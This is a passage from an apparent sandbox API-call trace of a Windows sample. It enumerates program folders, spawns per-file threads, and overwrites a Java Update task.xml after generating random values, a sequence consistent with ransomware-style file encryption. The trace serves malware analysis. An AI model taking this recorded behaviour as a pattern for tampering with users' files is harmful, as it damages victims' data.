ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a3a8 [0049.200] wcscmp (_String1=".", _String2=".") returned 0 [0049.200] FindNextFileW (in: hFindFile=0x40a3a8, lpFindFileData=0x430ad8 | out: lpFindFileData=0x430ad8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.200] wcscmp (_String1="..", _String2=".") returned 1 [0049.200] wcscmp (_String1="..", _String2="..") returned 0 [0049.200] FindNextFileW (in: hFindFile=0x40a3a8, lpFindFileData=0x430ad8 | out: lpFindFileData=0x430ad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="WORKFL~1.TAR")) returned 1 [0049.200] wcscmp (_String1="Workflow.Targets", _String2=".") returned 1 [0049.200] wcscmp (_String1="Workflow.Targets", _String2="..") returned 1 [0049.200] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaa) returned 0x45c1e0 [0049.200] wcscpy (in: _Dest=0x45c1e0, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" [0049.200] wcscat (in: _Dest=0x45c1e0, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\" [0049.200] wcscat (in: _Dest=0x45c1e0, _Source="Workflow.Targets" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets" [0049.581] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45c1e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x500 [0049.582] FindNextFileW (in: hFindFile=0x40a3a8, lpFindFileData=0x430ad8 | out: lpFindFileData=0x430ad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="WORKFL~2.TAR")) returned 1 [0049.582] wcscmp (_String1="Workflow.VisualBasic.Targets", _String2=".") returned 1 [0049.582] wcscmp (_String1="Workflow.VisualBasic.Targets", _String2="..") returned 1 [0049.582] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc2) returned 0x5e00880 [0049.582] wcscpy (in: _Dest=0x5e00880, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" [0049.582] wcscat (in: _Dest=0x5e00880, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\" [0049.583] wcscat (in: _Dest=0x5e00880, _Source="Workflow.VisualBasic.Targets" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets" [0049.583] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e00880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d4 [0049.584] FindNextFileW (in: hFindFile=0x40a3a8, lpFindFileData=0x430ad8 | out: lpFindFileData=0x430ad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="WORKFL~2.TAR")) returned 0 [0049.584] FindClose (in: hFindFile=0x40a3a8 | out: hFindFile=0x40a3a8) returned 1 [0049.584] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x430ad8) returned 1 [0049.584] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445670) returned 1 [0049.584] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x416b70) returned 1 Thread: id = 439 os_tid = 0xdcc [0049.202] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x423ec8 [0049.202] wcscpy (in: _Dest=0x423ec8, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" [0049.202] wcscat (in: _Dest=0x423ec8, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\" [0049.202] wcscat (in: _Dest=0x423ec8, _Source="*" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*" [0049.202] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e6c0 [0049.202] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a0a8 [0049.202] wcscmp (_String1=".", _String2=".") returned 0 [0049.202] FindNextFileW (in: hFindFile=0x40a0a8, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.202] wcscmp (_String1="..", _String2=".") returned 1 [0049.202] wcscmp (_String1="..", _String2="..") returned 0 [0049.202] FindNextFileW (in: hFindFile=0x40a0a8, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56230575, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x56230575, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x562566d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0049.202] wcscmp (_String1="Workflow.Targets", _String2=".") returned 1 [0049.202] wcscmp (_String1="Workflow.Targets", _String2="..") returned 1 [0049.202] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaa) returned 0x45c298 [0049.202] wcscpy (in: _Dest=0x45c298, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" [0049.202] wcscat (in: _Dest=0x45c298, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\" [0049.202] wcscat (in: _Dest=0x45c298, _Source="Workflow.Targets" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets" [0049.540] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45c298, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c [0049.541] FindNextFileW (in: hFindFile=0x40a0a8, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c9fc12, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x8c9fc12, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5627c831, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 1 [0049.541] wcscmp (_String1="Workflow.VisualBasic.Targets", _String2=".") returned 1 [0049.541] wcscmp (_String1="Workflow.VisualBasic.Targets", _String2="..") returned 1 [0049.541] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc2) returned 0x5e00950 [0049.541] wcscpy (in: _Dest=0x5e00950, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" [0049.541] wcscat (in: _Dest=0x5e00950, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\" [0049.541] wcscat (in: _Dest=0x5e00950, _Source="Workflow.VisualBasic.Targets" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets" [0049.541] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e00950, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xad8 [0049.542] FindNextFileW (in: hFindFile=0x40a0a8, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c9fc12, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x8c9fc12, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5627c831, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 0 [0049.542] FindClose (in: hFindFile=0x40a0a8 | out: hFindFile=0x40a0a8) returned 1 [0049.542] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42e6c0) returned 1 [0049.543] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423ec8) returned 1 [0049.543] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x416ed0) returned 1 Thread: id = 440 os_tid = 0xdd0 [0049.203] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x5e468e8 [0049.203] wcscpy (in: _Dest=0x5e468e8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0" [0049.203] wcscat (in: _Dest=0x5e468e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\" [0049.203] wcscat (in: _Dest=0x5e468e8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\*" [0049.203] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4303a0 [0049.203] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\*", lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ca8 [0049.204] wcscmp (_String1=".", _String2=".") returned 0 [0049.204] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.204] wcscmp (_String1="..", _String2=".") returned 1 [0049.204] wcscmp (_String1="..", _String2="..") returned 0 [0049.204] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x838958c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x52ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcrobatUpdater.exe", cAlternateFileName="ACROBA~1.EXE")) returned 1 [0049.204] wcscmp (_String1="AcrobatUpdater.exe", _String2=".") returned 1 [0049.204] wcscmp (_String1="AcrobatUpdater.exe", _String2="..") returned 1 [0049.204] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe39c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeARM.exe", cAlternateFileName="")) returned 1 [0049.204] wcscmp (_String1="AdobeARM.exe", _String2=".") returned 1 [0049.204] wcscmp (_String1="AdobeARM.exe", _String2="..") returned 1 [0049.204] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x113b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeExtractFiles.dll", cAlternateFileName="ADOBEE~1.DLL")) returned 1 [0049.204] wcscmp (_String1="AdobeExtractFiles.dll", _String2=".") returned 1 [0049.204] wcscmp (_String1="AdobeExtractFiles.dll", _String2="..") returned 1 [0049.204] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x52ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReaderUpdater.exe", cAlternateFileName="READER~1.EXE")) returned 1 [0049.204] wcscmp (_String1="ReaderUpdater.exe", _String2=".") returned 1 [0049.204] wcscmp (_String1="ReaderUpdater.exe", _String2="..") returned 1 [0049.204] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x52ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReaderUpdater.exe", cAlternateFileName="READER~1.EXE")) returned 0 [0049.204] FindClose (in: hFindFile=0x409ca8 | out: hFindFile=0x409ca8) returned 1 [0049.204] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4303a0) returned 1 [0049.205] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e468e8) returned 1 [0049.205] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x421348) returned 1 Thread: id = 441 os_tid = 0xdd4 [0049.206] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\task.xml")) returned 0x20 [0049.206] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml", dwFileAttributes=0x20) returned 1 [0056.138] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\task.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x90c [0056.138] GetFileSizeEx (in: hFile=0x90c, lpFileSize=0x61ffc5c | out: lpFileSize=0x61ffc5c*=1411) returned 1 [0056.138] SetFilePointerEx (in: hFile=0x90c, liDistanceToMove=0x57f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.138] ReadFile (in: hFile=0x90c, lpBuffer=0x61ffbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x61ffbdc, lpOverlapped=0x0 | out: lpBuffer=0x61ffbe0*, lpNumberOfBytesRead=0x61ffbdc*=0x4, lpOverlapped=0x0) returned 1 [0056.141] SetFilePointerEx (in: hFile=0x90c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.141] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4416b8 [0056.141] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4413e8 [0056.141] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4413c0 [0056.141] NtQuerySystemTime (in: CurrentTime=0x61ffbbc | out: CurrentTime=0x61ffbbc*=132174898201212000) returned 0x0 [0056.141] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x4c0f672d [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x2aae8e33 [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x3d2a70a8 [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x5fc305b3 [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x2e8029ba [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x26eabe8f [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x7dc86d5e [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x5fe5208b [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x382d4f0b [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x7463b49 [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x4c3a3fed [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x53574ae4 [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x37cefb74 [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x69b69936 [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x7fba0027 [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x437e99b0 [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x25483dd6 [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x4634a2d3 [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x7bad40f5 [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x4f0c5b48 [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x638777c0 [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x116eda7f [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x38a8d2f0 [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x4212adc [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x4b19ed5f [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x4dd16e78 [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x60284f0f [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x63e27a88 [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x77fd414 [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x1caf437d [0056.155] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x249a296c [0056.156] RtlRandomEx (in: Seed=0x61ffbc8 | out: Seed=0x61ffbc8) returned 0x2b8c2992 [0056.167] ReadFile (in: hFile=0x90c, lpBuffer=0x12d22970, nNumberOfBytesToRead=0x583, lpNumberOfBytesRead=0x61ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x12d22970*, lpNumberOfBytesRead=0x61ffbb8*=0x583, lpOverlapped=0x0) returned 1 [0056.167] SetFilePointerEx (in: hFile=0x90c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.168] WriteFile (in: hFile=0x90c, lpBuffer=0x5edd008*, nNumberOfBytesToWrite=0x583, lpNumberOfBytesWritten=0x61ffbb4, lpOverlapped=0x0 | out: lpBuffer=0x5edd008*, lpNumberOfBytesWritten=0x61ffbb4*=0x583, lpOverlapped=0x0) returned 1 [0056.572] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441280 [0056.572] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edef8 [0056.572] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edef8) returned 1 [0056.572] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5edd008) returned 1 [0056.572] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d22970) returned 1 [0056.576] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b258) returned 1 [0056.576] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44baa8) returned 1 [0056.576] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1d) returned 0x4edef8 [0056.576] SetFilePointerEx (in: hFile=0x90c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.576] WriteFile (in: hFile=0x90c, lpBuffer=0x5ed6be8*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x61ffc1c, lpOverlapped=0x0 | out: lpBuffer=0x5ed6be8*, lpNumberOfBytesWritten=0x61ffc1c*=0x101, lpOverlapped=0x0) returned 1 [0056.624] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed6be8) returned 1 [0056.624] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4eded0) returned 1 [0056.624] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edea8) returned 1 [0056.624] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edef8) returned 1 [0056.624] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441280) returned 1 [0056.624] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4413e8) returned 1 [0056.624] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441758) returned 1 [0056.624] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441780) returned 1 [0056.624] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc4) returned 0x5e00200 [0056.624] wcscpy (in: _Dest=0x5e00200, _Source="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml" | out: 